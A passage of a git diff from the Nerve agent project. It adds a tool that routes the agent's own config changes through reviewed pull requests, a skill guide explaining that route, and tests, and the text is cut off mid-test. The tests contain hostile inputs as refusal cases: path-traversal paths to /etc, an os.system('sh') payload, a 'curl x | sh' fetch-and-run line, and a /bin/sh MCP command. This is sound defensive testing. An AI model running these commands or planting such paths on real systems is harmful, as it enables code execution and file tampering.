workspace_override=wt, portable_only=True, + ).errors + if not e.startswith(_EMPTY_BUNDLE_ERROR) + ] + if errors: + return ProposeResult( + ok=False, branch=branch, validation_errors=errors, code_paths=code_paths, + message=f"proposed change is invalid ({len(errors)} error(s)) — no PR opened", + ) + + _git(["add", "-A"], wt) + commit_args = [*_committer_args(wt), "commit", "-m", title] + if body: + commit_args += ["-m", body] + commit = _git(commit_args, wt) + if commit.returncode != 0: + return ProposeResult( + ok=False, branch=branch, + message=f"nothing to commit or commit failed: {commit.stderr.strip() or commit.stdout.strip()}", + ) + + push = _git(["push", "-u", "origin", branch], wt) + if push.returncode != 0: + return ProposeResult(ok=False, branch=branch, message=f"git push failed: {push.stderr.strip()}") + + pr = _gh( + ["pr", "create", "--title", title, "--body", body or title, + "--head", branch, "--base", base_branch], + wt, + ) + if pr.returncode != 0: + return ProposeResult( + ok=False, branch=branch, + message=( + f"branch pushed but 'gh pr create' failed: {pr.stderr.strip()}. " + "Open the PR manually." + ), + ) + pr_url = pr.stdout.strip().splitlines()[-1] if pr.stdout.strip() else "" + return ProposeResult( + ok=True, branch=branch, pr_url=pr_url, code_paths=code_paths, + message=f"opened PR for {branch}: {pr_url}", + ) + except Exception as e: # noqa: BLE001 — keep the "never raises" contract + logger.error("propose_config_change failed: %s", e) + return ProposeResult(ok=False, branch=branch, message=f"internal error: {e}") + finally: + # Remove the worktree AND the local branch it created — otherwise a + # dangling nerve-config/* branch accumulates and blocks a same-name retry. + # (The pushed remote branch, which the PR targets, is unaffected.) + _git(["worktree", "remove", "--force", str(wt)], workspace) + _git(["branch", "-D", branch], workspace) + shutil.rmtree(tmp, ignore_errors=True) diff --git a/nerve/templates/skills/nerve-dev/SKILL.md b/nerve/templates/skills/nerve-dev/SKILL.md index a9039e88..b6364042 100644 --- a/nerve/templates/skills/nerve-dev/SKILL.md +++ b/nerve/templates/skills/nerve-dev/SKILL.md @@ -12,6 +12,11 @@ context: domain # Nerve Development Skill +> **Changing your own config (skills, cron, settings), not the app code?** Use +> the `nerve-workspace` skill instead — that covers the workspace, and which of a +> pull request or a direct edit applies to this instance. This skill is for +> developing the Nerve *application* codebase. + ## Repository Nerve lives under the **ClickHouse organization** on GitHub. diff --git a/nerve/templates/skills/nerve-workspace/SKILL.md b/nerve/templates/skills/nerve-workspace/SKILL.md new file mode 100644 index 00000000..24a9217e --- /dev/null +++ b/nerve/templates/skills/nerve-workspace/SKILL.md @@ -0,0 +1,145 @@ +--- +name: Nerve Workspace Config +description: > + Change your own configuration — skills, cron jobs, sources, and settings that + live in the workspace. Covers both routes: a pull request when the workspace is + a shared config repo (and the only route when this instance is locked), or a + direct edit when the workspace is purely local. Use when asked to add/edit/remove + a cron job, create or change a skill, adjust settings, or "change your config". + Triggers on "add a cron", "change your schedule", "edit your config", + "update settings", "propose a config change". +version: 1.0.0 +context: domain +--- + +# Managing Your Own Configuration + +Your configuration lives in the **workspace**. It contains: + +- `config/settings.yaml` — shareable settings +- `config/cron/jobs.yaml`, `config/cron/system.yaml`, `config/cron/gates/` — cron +- `skills//SKILL.md` — skills +- `SOUL.md`, `IDENTITY.md`, `USER.md`, `AGENTS.md`, `TOOLS.md` — your standing + instructions + +This is **not** the Nerve application source code (that's the `nerve-dev` skill). + +## First: is this workspace shared? + +The answer decides how you change config, so establish it before you start. + +The workspace **may** be a git repository synced from a shared remote (a config +repo), in which case config is something a human reviews and merges, and your job +is to propose rather than to edit. It may equally be a plain local directory that +belongs to this instance alone — that is what an ordinary install looks like. + +- **Locked instance** (lockdown / remote-only) — a PR is the *only* thing that + works. Direct edits to tracked config are blocked, and would be overwritten by + the next sync even if they weren't. +- **Workspace has a remote, not locked** — route every change to the reviewed + surface through `propose_config_change`, even though nothing forces you to. A + direct write leaves the workspace diverged from the reviewed revision, and sync + refuses to merge while anything in that surface — `config/`, `skills/`, and the + root instruction files — has uncommitted local state (untracked, modified, + staged or deleted). So the edit also stops every later config change from + reaching this instance until someone commits or drops it. + `propose_config_change` stages in an isolated worktree, so it leaves the live + workspace clean — only a direct write dirties it. That covers every route that + writes those files, not just an editor: `skill_create` and `skill_update`, the + `POST`/`PUT`/`DELETE /api/skills` endpoints, and a shell command. +- **No remote, not locked** — there is nothing to open a PR against and no + review to route through. **Edit the files directly** and tell the user what you + changed. `propose_config_change` will refuse, and it is right to. + +If you don't know which you're in, try `propose_config_change` and read the +refusal — it says whether the problem is a missing remote or a locked instance. + +## How to change config + +When the workspace is shared, **propose config changes as a pull request** with +the `propose_config_change` tool rather than editing tracked config files. That +keeps every change reviewed, approved, and traceable. + +`propose_config_change` takes a `title`, an optional `body`, and a list of +`changes` — each the **full new content** of a file, path relative to the +workspace root. It: + +1. stages your change on a branch off the remote's default branch (in an isolated + worktree — your live workspace is untouched), +2. **validates** the resulting bundle (an invalid change is rejected with the + errors to fix — no PR is opened), +3. pushes the branch and opens a PR via `gh` for a human to review and merge. + +Once merged, workspace sync pulls it and it hot-reloads. + +### What you can propose + +Only reviewed configuration — anything under `config/` or `skills/`, plus the +workspace-root instruction files listed above. Everything else in the repo is +refused, including: + +- **Runtime state** — `MEMORY.md`, `TASK.md`, `memory/`. You maintain these + yourself as you work; they aren't reviewed and a PR per update helps nobody. +- **Anything that isn't config** — `.git/`, `.github/`, `scripts/`, application + code, and `.gitattributes`/`.gitignore` (which decide whether a reviewer can + see the diff at all). If you genuinely need one of those changed, ask. +- **Files named like code** — `.py`, `.sh`, `.js` and friends — with one + exception: a cron gate plugin at `config/cron/gates/.py`. Nothing + validates a gate plugin, so keep it short and say in the PR body what it does + and why a built-in gate won't do. + +A proposal containing even one refused path is rejected whole; nothing is +dropped quietly. Fix the reported paths and re-submit. + +`skills//scripts/` **is** proposable — it's a normal part of a skill — so a +script there reaches the instance through this route like anything else. + +### Why this exists, and what it isn't + +So that a change to your configuration is reviewed, attributable, and visible in +the repository's history. It is **not** a lock. You have a shell; you could write +these files another way. On a workspace someone else reviews, doing that produces +a running config nobody agreed to and no record of who changed what, which is the +thing this avoids — not something the tool could stop you doing. On a local +workspace there is nobody to route around, which is why editing directly there is +the normal thing rather than a workaround. + +That's also why changes that alter *what runs* are flagged rather than refused. +When the tool can tell — a gate plugin, a script replacing an executable file, an +`mcp_servers` or `codex` or `proxy` entry in `settings.yaml` — it puts a notice at +the top of the PR. It can only recognise what it knows about, so **say it in your +own words too** whenever your change causes something new to execute. The +reviewer approving the PR is the only check there is. + +### Examples + +Add a cron job — read the current `config/cron/jobs.yaml`, add your job, and +submit the full file: + +``` +propose_config_change( + title="Add nightly repo digest cron", + body="Runs at 06:00 to summarize overnight PR activity.", + changes=[{"path": "config/cron/jobs.yaml", "content": ""}], +) +``` + +Add or edit a skill — submit the full `skills//SKILL.md`: + +``` +propose_config_change( + title="Add deploy-runbook skill", + changes=[{"path": "skills/deploy-runbook/SKILL.md", "content": ""}], +) +``` + +## Rules + +- Read the current file first (so your submitted content is a correct full + replacement, not a fragment). +- One logical change per PR; write a clear title/body — a human will review it. +- Never put secrets in tracked files; reference them as `${ENV_VAR}`. +- If **validation** fails, fix the reported errors and re-submit. Writing the + same content straight to the file instead only moves an invalid config onto the + instance — that is the one case where editing directly is the wrong answer even + on a local workspace. diff --git a/tests/test_config_pr.py b/tests/test_config_pr.py new file mode 100644 index 00000000..dc83a081 --- /dev/null +++ b/tests/test_config_pr.py @@ -0,0 +1,1415 @@ +"""Tests for propose_config_change — self-modification via PR.""" + +from __future__ import annotations + +import shutil +import subprocess +import tempfile +from pathlib import Path + +import pytest + +import nerve.config_pr as cpr +import nerve.config_validate as cvmod +from nerve.config_pr import ProposeResult, propose_config_change + + +def _cp(rc=0, stdout="", stderr=""): + return subprocess.CompletedProcess([], rc, stdout, stderr) + + +class _FakeGit: + def __init__(self, *, remote="origin", base="main", fail=None): + self.remote = remote + self.base = base + self.fail = set(fail or []) + self.calls = [] + + def __call__(self, args, cwd): + self.calls.append(args) + verb = args[0] + if verb in self.fail: + return _cp(1, stderr=f"{verb} failed") + if verb == "remote": + # ``remote get-url `` exits non-zero for a remote that is not + # configured, which is how the origin check asks the question. + if args[1:2] == ["get-url"]: + wanted = args[2] if len(args) > 2 else "" + if wanted in self.remote.split(): + return _cp(stdout=f"git@example.invalid:o/{wanted}.git\n") + return _cp(2, stderr=f"error: No such remote '{wanted}'") + return _cp(stdout=self.remote) + if verb == "ls-remote": + return _cp(stdout=f"ref: refs/heads/{self.base}\tHEAD\ndeadbeef\tHEAD\n") + if verb == "symbolic-ref": + return _cp(stdout=f"origin/{self.base}\n") + return _cp(0) + + def did(self, verb): + return any(a and a[0] == verb for a in self.calls) + + +def _repo(tmp_path): + ws = tmp_path / "ws" + (ws / ".git").mkdir(parents=True) + return ws + + +def _changes(): + return [{"path": "config/settings.yaml", "content": "timezone: UTC\n"}] + + +class TestProposeConfigChange: + def test_not_a_repo(self, tmp_path): + r = propose_config_change(tmp_path / "ws", tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "not a git repository" in r.message + + def test_no_remote(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(remote="")) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "no 'origin' remote" in r.message + + def test_a_differently_named_remote_is_not_origin(self, tmp_path, monkeypatch): + """Having *a* remote is not having origin, and the difference matters. + + Everything downstream names origin, as does the sync that pulls merged + config back, so a proposal cannot follow ``upstream`` instead — it would + target a branch the instance never reads. Refused here rather than at + ``_remote_default_branch``, which sees only that origin said nothing and + reports a missing remote as an unreachable one. + """ + ws = _repo(tmp_path) + git = _FakeGit(remote="upstream") + monkeypatch.setattr(cpr, "_git", git) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok + assert "no 'origin' remote" in r.message + # Named, so 'which remote' is answerable from the message alone. + assert "git remote add origin" in r.message + # Stopped before the branch hunt, whose failure would blame reachability. + assert not git.did("ls-remote"), git.calls + + def test_no_changes(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", [], now=1) + assert not r.ok and "no changes" in r.message + + def test_happy_path_opens_pr(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/o/r/pull/7")) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "Add cron", "why", _changes(), now=123) + assert r.ok and r.pr_url == "https://gh/o/r/pull/7" + assert "nerve-config/add-cron-123" == r.branch + assert fake.did("push") and fake.did("worktree") + + def test_invalid_change_no_pr(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="x")) + monkeypatch.setattr( + cvmod, "validate_config_bundle", + lambda *a, **k: cvmod.ValidationResult(errors=["bad backend"]), + ) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and r.validation_errors == ["bad backend"] + assert not fake.did("push") # never pushed + assert not gh_called # never opened a PR + + def test_fetch_failure(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(fail=["fetch"])) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "fetch failed" in r.message + + def test_push_failure(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(fail=["push"])) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "push failed" in r.message + + def test_gh_failure_reports_branch_pushed(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(1, stderr="no auth")) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "gh pr create" in r.message + + def test_changes_written_into_worktree(self, tmp_path, monkeypatch): + """The proposed content is actually staged (so validation sees it).""" + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="url")) + seen = {} + + def _capture(config_dir, workspace_override=None, **k): + wt = Path(workspace_override) + seen["content"] = (wt / "config" / "settings.yaml").read_text() + return cvmod.ValidationResult() + + monkeypatch.setattr(cvmod, "validate_config_bundle", _capture) + propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert seen["content"] == "timezone: UTC\n" + + +class TestBaseBranch: + """The base is the remote's default branch, never whatever HEAD is on.""" + + def _git_answering(self, *, ls=None, cached=None): + def _git(args, cwd): + if args[0] == "ls-remote": + return ls or _cp(1, stderr="Could not read from remote repository") + if args[0] == "symbolic-ref": + return cached or _cp(128, stderr="not a symbolic ref") + return _cp(0) + + return _git + + def test_prefers_the_remotes_own_answer(self, tmp_path, monkeypatch): + """A cached origin/HEAD is a clone-time snapshot; the remote is current.""" + monkeypatch.setattr(cpr, "_git", self._git_answering( + ls=_cp(stdout="ref: refs/heads/trunk\tHEAD\ndeadbeef\tHEAD\n"), + cached=_cp(stdout="origin/renamed-away\n"), + )) + assert cpr._remote_default_branch(tmp_path) == "trunk" + + def test_falls_back_to_the_cached_ref(self, tmp_path, monkeypatch): + monkeypatch.setattr(cpr, "_git", self._git_answering( + cached=_cp(stdout="origin/main\n"), + )) + assert cpr._remote_default_branch(tmp_path) == "main" + + def test_no_answer_at_all(self, tmp_path, monkeypatch): + monkeypatch.setattr(cpr, "_git", self._git_answering()) + assert cpr._remote_default_branch(tmp_path) == "" + + def test_fetch_worktree_and_pr_all_use_it(self, tmp_path, monkeypatch): + """One resolved name, so the three can't disagree about the base.""" + ws = _repo(tmp_path) + fake = _FakeGit(base="trunk") + monkeypatch.setattr(cpr, "_git", fake) + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/pr/1") + + monkeypatch.setattr(cpr, "_gh", _gh) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert r.ok, r.message + assert ["fetch", "origin", "trunk"] in fake.calls + wt_add = next(a for a in fake.calls if a[:2] == ["worktree", "add"]) + assert wt_add[-1] == "origin/trunk" + assert seen["args"][seen["args"].index("--base") + 1] == "trunk" + + def test_undiscoverable_base_is_refused_not_guessed(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + fake.fail = {"ls-remote", "symbolic-ref"} + monkeypatch.setattr(cpr, "_git", fake) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and "default branch" in r.message + assert "set-head" in r.message + assert not fake.did("fetch") and not fake.did("worktree") + + +class TestPathSafety: + def test_rejects_dotdot_traversal(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + r = propose_config_change( + ws, tmp_path / "cfg", "t", "b", + [{"path": "../../etc/pwned.yaml", "content": "x"}], now=1, + ) + assert not r.ok and "../../etc/pwned.yaml" in r.message + assert not fake.did("worktree") # rejected before touching git + assert not (tmp_path.parent / "etc").exists() + + def test_rejects_absolute_path(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + r = propose_config_change( + ws, tmp_path / "cfg", "t", "b", + [{"path": "/etc/pwned", "content": "x"}], now=1, + ) + assert not r.ok and "relative to the workspace root" in r.message + + def test_rel_escapes_helper(self): + assert cpr._rel_escapes("../x") + assert cpr._rel_escapes("/abs") + assert cpr._rel_escapes("a/../../b") + assert not cpr._rel_escapes("config/cron/jobs.yaml") + assert not cpr._rel_escapes("skills/x/SKILL.md") + + +class TestProposableSurface: + """A proposal carries reviewed configuration — scope, not just containment.""" + + @pytest.mark.parametrize("rel", [ + "config/settings.yaml", + "config/cron/jobs.yaml", + "config/cron/gates/stale_tasks.py", # the one sanctioned place for code + "config/cron/gates/.py", # the loader's *.py glob matches this + "skills/deploy-runbook/SKILL.md", + "skills/deploy-runbook/scripts/notes.md", + "skills/deploy-runbook/reference.md", + "SOUL.md", + "AGENTS.md", + ]) + def test_allowed(self, rel): + assert cpr._proposal_path_problem(rel) is None + + @pytest.mark.parametrize("rel,fragment", [ + # Not configuration, however contained. + (".github/workflows/validate.yml", "proposable surface"), + (".git/hooks/post-merge", "proposable surface"), + (".gitattributes", "proposable surface"), + ("scripts/mechanical-action.sh", "proposable surface"), + ("nerve/config.py", "proposable surface"), + # Runtime state the instance maintains for itself. + ("MEMORY.md", "proposable surface"), + ("TASK.md", "proposable surface"), + ("memory/tasks/active/x.md", "proposable surface"), + # A directory is not a file. + ("config", "proposable surface"), + ("skills", "proposable surface"), + # Code outside the gate-plugin directory. + ("skills/deploy-runbook/helper.py", "not code"), + ("skills/deploy-runbook/run.sh", "not code"), + ("config/evil.py", "not code"), + ("config/cron/gates/nested/evil.py", "not code"), # loader never imports it + ("skills/ops/.py", "not code"), + ("skills/ops/x.mjs", "not code"), + ("skills/ops/x.ps1", "not code"), + # Spellings the *.py glob would miss here but a filesystem may normalize + # into one it wouldn't. + ("config/cron/gates/evil.py ", "not code"), + ("config/cron/gates/evil.py.", "not code"), + ("config/cron/gates/evil.pyc", "not code"), + # git metadata and the files that decide whether a diff is readable. + ("config/.git/config", "git's own metadata"), + ("config/.gitattributes", "collapse the diff"), + ("skills/ops/.gitignore", "collapse the diff"), + # Traversal, including a path that normalizes back inside. + ("/etc/passwd", "relative to the workspace root"), + ("../escape.yaml", "relative to the workspace root"), + ("config/../config/settings.yaml", "relative to the workspace root"), + ]) + def test_refused(self, rel, fragment): + problem = cpr._proposal_path_problem(rel) + assert problem is not None, rel + assert fragment in problem, problem + + def test_py_outside_gates_never_reaches_git(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + r = propose_config_change( + ws, tmp_path / "cfg", "Add a helper", "", + [{"path": "skills/ops/pwn.py", "content": "import os; os.system('sh')\n"}], + now=1, + ) + assert not r.ok and "not code" in r.message + assert not fake.did("worktree") + + def test_mixed_proposal_is_rejected_whole(self, tmp_path, monkeypatch): + """One refused path kills the proposal — the rest is not quietly kept.""" + ws = _repo(tmp_path) + fake = _FakeGit() + monkeypatch.setattr(cpr, "_git", fake) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="url")) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change( + ws, tmp_path / "cfg", "Tidy up", "", + [ + {"path": "config/settings.yaml", "content": "timezone: UTC\n"}, + {"path": ".github/workflows/validate.yml", "content": "on: push\n"}, + {"path": "scripts/mechanical-action.sh", "content": "curl x | sh\n"}, + ], + now=1, + ) + assert not r.ok + assert "refused 2 of 3" in r.message + assert ".github/workflows/validate.yml" in r.message + assert "scripts/mechanical-action.sh" in r.message + assert not fake.did("worktree") and not gh_called + + +class TestExecutablePayloadIsFlagged: + """A gate plugin is accepted, but never quietly.""" + + def _propose(self, tmp_path, monkeypatch, changes, body=""): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/o/r/pull/9") + + monkeypatch.setattr(cpr, "_gh", _gh) + monkeypatch.setattr(cvmod, "validate_config_bundle", lambda *a, **k: cvmod.ValidationResult()) + r = propose_config_change( + ws, tmp_path / "cfg", "Add stale-task gate", body, changes, now=5, + ) + return r, seen + + def test_gate_plugin_opens_a_pr_that_announces_the_code(self, tmp_path, monkeypatch): + r, seen = self._propose( + tmp_path, monkeypatch, + [ + {"path": "config/cron/gates/stale.py", "content": "class G:\n pass\n"}, + {"path": "config/cron/jobs.yaml", "content": "jobs: []\n"}, + ], + body="Skip the digest when there is no backlog.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/cron/gates/stale.py"] + body = seen["args"][seen["args"].index("--body") + 1] + assert body.startswith("**This proposal changes what runs on the instance.**") + assert "config/cron/gates/stale.py" in body + assert "Skip the digest when there is no backlog." in body # agent's body kept + + def test_yaml_only_proposal_gets_no_notice(self, tmp_path, monkeypatch): + r, seen = self._propose( + tmp_path, monkeypatch, + [{"path": "config/cron/jobs.yaml", "content": "jobs: []\n"}], + body="Reschedule the digest.", + ) + assert r.ok and r.code_paths == [] + body = seen["args"][seen["args"].index("--body") + 1] + assert body == "Reschedule the digest." + + def test_a_file_named_exactly_dot_py_is_still_code(self, tmp_path, monkeypatch): + """``Path('.py').suffix`` is empty; the loader's ``*.py`` glob disagrees.""" + r, seen = self._propose( + tmp_path, monkeypatch, + [{"path": "config/cron/gates/.py", "content": "import os\n"}], + body="Adjust the nightly digest schedule.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/cron/gates/.py"] + body = seen["args"][seen["args"].index("--body") + 1] + assert body.startswith("**This proposal changes what runs on the instance.**") + + def test_settings_naming_something_to_run_is_announced(self, tmp_path, monkeypatch): + r, seen = self._propose( + tmp_path, monkeypatch, + [{ + "path": "config/settings.yaml", + "content": ( + "timezone: UTC\n" + "mcp_servers:\n" + " x:\n" + " command: /bin/sh\n" + " args: ['-c', 'echo hi']\n" + ), + }], + body="Add an MCP server.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/settings.yaml"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "mcp_servers" in body + assert "which name things the daemon runs" in body + + def test_inert_settings_are_not_announced(self, tmp_path, monkeypatch): + r, _ = self._propose( + tmp_path, monkeypatch, + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + ) + assert r.ok and r.code_paths == [] + + def test_unparseable_settings_announce_nothing(self, tmp_path, monkeypatch): + """Validation is about to reject it; don't guess at effects it won't have.""" + r, _ = self._propose( + tmp_path, monkeypatch, + [{"path": "config/settings.yaml", "content": "mcp_servers: [unclosed\n"}], + ) + assert r.code_paths == [] + + @pytest.mark.parametrize("content,expected", [ + # An empty gate_plugins_dir is not "no directory": _expand_path('') is + # Path('.'), so the daemon imports every *.py in its working directory. + ("cron:\n gate_plugins_dir: ''\n", ["cron.gate_plugins_dir"]), + # Withdrawing the servers the merged config named changes what runs too. + ("mcp_servers: {}\n", ["mcp_servers"]), + ("mcp_servers: []\n", ["mcp_servers"]), + ("mcp_servers:\n", ["mcp_servers"]), # bare key, null value + ("codex: false\n", ["codex"]), + ("proxy: 0\n", ["proxy"]), + # Genuinely absent stays absent, at both levels. + ("timezone: UTC\n", []), + ("cron:\n timezone: UTC\n", []), + ("cron: {}\n", []), + # lockdown is watched, but by change and not by presence — a locked box + # restates `lockdown: true` in every proposal it ever makes. It belongs + # to _SECURITY_SETTINGS_KEYS and must never leak into this list. + ("lockdown: true\n", []), + ("lockdown: false\n", []), + ]) + def test_watched_keys_are_judged_by_presence_not_truthiness(self, content, expected): + assert cpr._effectful_settings_keys(content) == expected + + def test_emptying_the_gate_plugin_dir_is_announced(self, tmp_path, monkeypatch): + """The falsey value with the largest effect must not slip past the notice.""" + r, seen = self._propose( + tmp_path, monkeypatch, + [{"path": "config/settings.yaml", + "content": "timezone: UTC\ncron:\n gate_plugins_dir: ''\n"}], + body="Tidy up the cron section.", + ) + assert r.ok, r.message + assert r.code_paths == ["config/settings.yaml"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "cron.gate_plugins_dir" in body + + +class TestSecurityKeysAreJudgedByChange: + """lockdown is flagged when a proposal *moves* it, never when it restates it.""" + + def _dst(self, tmp_path, current=None, *, raw=None): + """A stand-in for the staged worktree's copy of the file, pre-overwrite.""" + p = tmp_path / "settings.yaml" + if raw is not None: + p.write_bytes(raw) + elif current is not None: + p.write_text(current) + return p + + @pytest.mark.parametrize("current,proposed", [ + # The whole point: a locked instance restating its own flag, on every + # proposal it ever makes. Under presence semantics this always fires, + # and a notice that always fires is a notice nobody reads. + ("lockdown: true\ntimezone: UTC\n", "lockdown: true\ntimezone: Europe/Berlin\n"), + ("lockdown: false\n", "lockdown: false\ntimezone: UTC\n"), + # Never stated before, still not stated: nothing about lockdown moved. + ("timezone: UTC\n", "timezone: Europe/Berlin\n"), + # No settings.yaml in the base branch at all is a definite "states + # nothing", not an unknown — and the proposal states nothing either. + (None, "timezone: UTC\n"), + # Same value, different spelling of the same YAML boolean. + ("lockdown: yes\n", "lockdown: true\n"), + ]) + def test_unchanged_is_not_flagged(self, tmp_path, current, proposed): + dst = self._dst(tmp_path, current) + assert cpr._security_settings_change(proposed, dst) is None + + @pytest.mark.parametrize("current,proposed,transition", [ + # Disarmed outright. + ("lockdown: true\n", "lockdown: false\n", "true → false"), + # Deleting the line disarms it just as well, and presence cannot see it. + ("lockdown: true\ntimezone: UTC\n", "timezone: UTC\n", "true → not stated"), + ("lockdown: true\n", "", "true → not stated"), + # Pinning it off where the file said nothing. Absent already means off, + # so the effective flag does not move — but the line is new in the diff + # and this fires once, on the proposal that adds it, not forever after. + ("timezone: UTC\n", "lockdown: false\ntimezone: UTC\n", "not stated → false"), + (None, "lockdown: false\n", "not stated → false"), + # Turning it *on* changes which config layers the daemon reads, which is + # every bit as much a change to what runs. + ("timezone: UTC\n", "lockdown: true\ntimezone: UTC\n", "not stated → true"), + ("lockdown: false\n", "lockdown: true\n", "false → true"), + # A value only the environment can resolve is a change to a value that + # was decided in the file, and the notice quotes it as it stands. + ("lockdown: true\n", "lockdown: ${NERVE_LOCKDOWN}\n", "true → '${NERVE_LOCKDOWN}'"), + ]) + def test_a_moved_value_is_flagged(self, tmp_path, current, proposed, transition): + dst = self._dst(tmp_path, current) + reason = cpr._security_settings_change(proposed, dst) + assert reason and f"lockdown ({transition})" in reason + + @pytest.mark.parametrize("kwargs", [ + {"current": "lockdown: [unclosed\n"}, # malformed YAML + {"current": "- not\n- a mapping\n"}, # parses, wrong shape + {"raw": b"lockdown: \xff\xfe true\n"}, # not decodable as UTF-8 + ]) + def test_an_unreadable_base_revision_errs_toward_telling(self, tmp_path, kwargs): + """It might have said `lockdown: true`; silence is the wrong guess.""" + dst = self._dst(tmp_path, **kwargs) + # Note the proposal does not mention lockdown at all — the point is that + # we cannot tell whether it *removed* it. + reason = cpr._security_settings_change("timezone: UTC\n", dst) + assert reason and "lockdown" in reason + assert "could not be" in reason + + def test_an_unreadable_base_revision_never_raises(self, tmp_path): + """A directory where the file should be still has to answer, not throw.""" + (tmp_path / "settings.yaml").mkdir() + reason = cpr._security_settings_change("lockdown: true\n", tmp_path / "settings.yaml") + assert reason and "lockdown" in reason + + def test_an_unreadable_proposal_announces_nothing(self, tmp_path): + """Mirror of the presence rule: validation is about to reject it.""" + dst = self._dst(tmp_path, "lockdown: true\n") + assert cpr._security_settings_change("lockdown: [unclosed\n", dst) is None + + +@pytest.mark.skipif(not __import__("shutil").which("git"), reason="git not available") +class TestRealGit: + def _git(self, *args, cwd): + import os + subprocess.run( + ["git", *args], cwd=str(cwd), check=True, capture_output=True, text=True, + env={"GIT_AUTHOR_NAME": "t", "GIT_AUTHOR_EMAIL": "t@t", + "GIT_COMMITTER_NAME": "t", "GIT_COMMITTER_EMAIL": "t@t", + "HOME": str(cwd), "PATH": os.environ["PATH"]}, + ) + + def _out(self, *args, cwd): + return subprocess.run( + ["git", *args], cwd=str(cwd), capture_output=True, text=True, + ).stdout.strip() + + def _setup(self, tmp_path, settings="timezone: UTC\n"): + origin = tmp_path / "origin" + origin.mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config").mkdir() + (origin / "config" / "settings.yaml").write_text(settings) + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + return ws + + def test_opens_pr_and_cleans_up(self, tmp_path, monkeypatch): + ws = self._setup(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/1")) + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "body", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=999, + ) + assert r.ok, r.message + # Live working tree is untouched (still on main, clean, original content). + status = subprocess.run( + ["git", "status", "--porcelain"], cwd=str(ws), capture_output=True, text=True, + ) + assert status.stdout.strip() == "" + assert "UTC" in (ws / "config" / "settings.yaml").read_text() + # No dangling local nerve-config/* branch remains. + branches = subprocess.run( + ["git", "branch"], cwd=str(ws), capture_output=True, text=True, + ).stdout + assert "nerve-config/" not in branches + # The branch WAS pushed to origin. + remote_branches = subprocess.run( + ["git", "branch", "-r"], cwd=str(ws), capture_output=True, text=True, + ).stdout + assert "nerve-config/change-tz-999" in remote_branches + + def test_undecodable_gh_output_still_reports_the_pushed_branch( + self, tmp_path, monkeypatch, + ): + """gh runs after the push, so its failure mode decides what is recoverable. + + There is a message for exactly this state — branch on the remote, no PR — + and a decode error used to replace it with "internal error: 'utf-8' codec + can't decode…", leaving the pushed branch with nothing pointing at it. + """ + import os + + ws = 